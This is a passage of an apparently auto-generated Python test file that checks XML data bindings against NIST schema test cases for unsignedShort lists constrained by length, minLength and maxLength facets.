schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-1-3.xml",
class_name="NistschemaSvIvListUnsignedShortLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_nistxml_sv_iv_list_unsigned_short_length_1_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-1-4.xml",
class_name="NistschemaSvIvListUnsignedShortLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_length_nistxml_sv_iv_list_unsigned_short_length_1_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet length with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-length-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-length-1-5.xml",
class_name="NistschemaSvIvListUnsignedShortLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_4_nistxml_sv_iv_list_unsigned_short_min_length_5_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value
10.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-5-1.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_4_nistxml_sv_iv_list_unsigned_short_min_length_5_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value
10.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-5-2.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_4_nistxml_sv_iv_list_unsigned_short_min_length_5_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value
10.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-5-3.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_4_nistxml_sv_iv_list_unsigned_short_min_length_5_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value
10.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-5-4.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_4_nistxml_sv_iv_list_unsigned_short_min_length_5_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value
10.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-5-5.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_3_nistxml_sv_iv_list_unsigned_short_min_length_4_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-4-1.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_3_nistxml_sv_iv_list_unsigned_short_min_length_4_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-4-2.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_3_nistxml_sv_iv_list_unsigned_short_min_length_4_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-4-3.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_3_nistxml_sv_iv_list_unsigned_short_min_length_4_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-4-4.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_3_nistxml_sv_iv_list_unsigned_short_min_length_4_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-4-5.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_2_nistxml_sv_iv_list_unsigned_short_min_length_3_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-3-1.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_2_nistxml_sv_iv_list_unsigned_short_min_length_3_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-3-2.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_2_nistxml_sv_iv_list_unsigned_short_min_length_3_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-3-3.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_2_nistxml_sv_iv_list_unsigned_short_min_length_3_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-3-4.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_2_nistxml_sv_iv_list_unsigned_short_min_length_3_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-3-5.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_1_nistxml_sv_iv_list_unsigned_short_min_length_2_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-2-1.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_1_nistxml_sv_iv_list_unsigned_short_min_length_2_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-2-2.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_1_nistxml_sv_iv_list_unsigned_short_min_length_2_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-2-3.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_1_nistxml_sv_iv_list_unsigned_short_min_length_2_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-2-4.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_1_nistxml_sv_iv_list_unsigned_short_min_length_2_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-2-5.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_nistxml_sv_iv_list_unsigned_short_min_length_1_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-1-1.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_nistxml_sv_iv_list_unsigned_short_min_length_1_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-1-2.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_nistxml_sv_iv_list_unsigned_short_min_length_1_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-1-3.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_nistxml_sv_iv_list_unsigned_short_min_length_1_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-1-4.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_min_length_nistxml_sv_iv_list_unsigned_short_min_length_1_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet minLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-minLength-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-minLength-1-5.xml",
class_name="NistschemaSvIvListUnsignedShortMinLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_4_nistxml_sv_iv_list_unsigned_short_max_length_5_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value
10.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-5-1.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_4_nistxml_sv_iv_list_unsigned_short_max_length_5_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value
10.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-5-2.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_4_nistxml_sv_iv_list_unsigned_short_max_length_5_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value
10.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-5-3.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_4_nistxml_sv_iv_list_unsigned_short_max_length_5_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value
10.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-5-4.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_4_nistxml_sv_iv_list_unsigned_short_max_length_5_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value
10.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-5.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-5-5.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength5",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_3_nistxml_sv_iv_list_unsigned_short_max_length_4_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-4-1.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_3_nistxml_sv_iv_list_unsigned_short_max_length_4_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-4-2.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_3_nistxml_sv_iv_list_unsigned_short_max_length_4_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-4-3.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_3_nistxml_sv_iv_list_unsigned_short_max_length_4_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-4-4.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_3_nistxml_sv_iv_list_unsigned_short_max_length_4_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 8.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-4.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-4-5.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength4",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_2_nistxml_sv_iv_list_unsigned_short_max_length_3_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-3-1.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_2_nistxml_sv_iv_list_unsigned_short_max_length_3_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-3-2.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_2_nistxml_sv_iv_list_unsigned_short_max_length_3_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-3-3.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_2_nistxml_sv_iv_list_unsigned_short_max_length_3_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-3-4.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_2_nistxml_sv_iv_list_unsigned_short_max_length_3_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 7.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-3.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-3-5.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength3",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_1_nistxml_sv_iv_list_unsigned_short_max_length_2_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-2-1.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_1_nistxml_sv_iv_list_unsigned_short_max_length_2_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-2-2.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_1_nistxml_sv_iv_list_unsigned_short_max_length_2_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-2-3.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_1_nistxml_sv_iv_list_unsigned_short_max_length_2_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-2-4.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_1_nistxml_sv_iv_list_unsigned_short_max_length_2_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 6.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-2.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-2-5.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength2",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_nistxml_sv_iv_list_unsigned_short_max_length_1_1(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-1-1.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_nistxml_sv_iv_list_unsigned_short_max_length_1_2(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-1-2.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_nistxml_sv_iv_list_unsigned_short_max_length_1_3(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-1-3.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_nistxml_sv_iv_list_unsigned_short_max_length_1_4(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-1-4.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
def test_list_unsigned_short_max_length_nistxml_sv_iv_list_unsigned_short_max_length_1_5(mode, save_output, output_format):
"""
Type list/unsignedShort is restricted by facet maxLength with value 5.
"""
assert_bindings(
schema="nistData/list/unsignedShort/Schema+Instance/NISTSchema-SV-IV-list-unsignedShort-maxLength-1.xsd",
instance="nistData/list/unsignedShort/Schema+Instance/NISTXML-SV-IV-list-unsignedShort-maxLength-1-5.xml",
class_name="NistschemaSvIvListUnsignedShortMaxLength1",
version="1.1",
mode=mode,
save_output=save_output,
output_format=output_format,
structure_style="filenames",
)
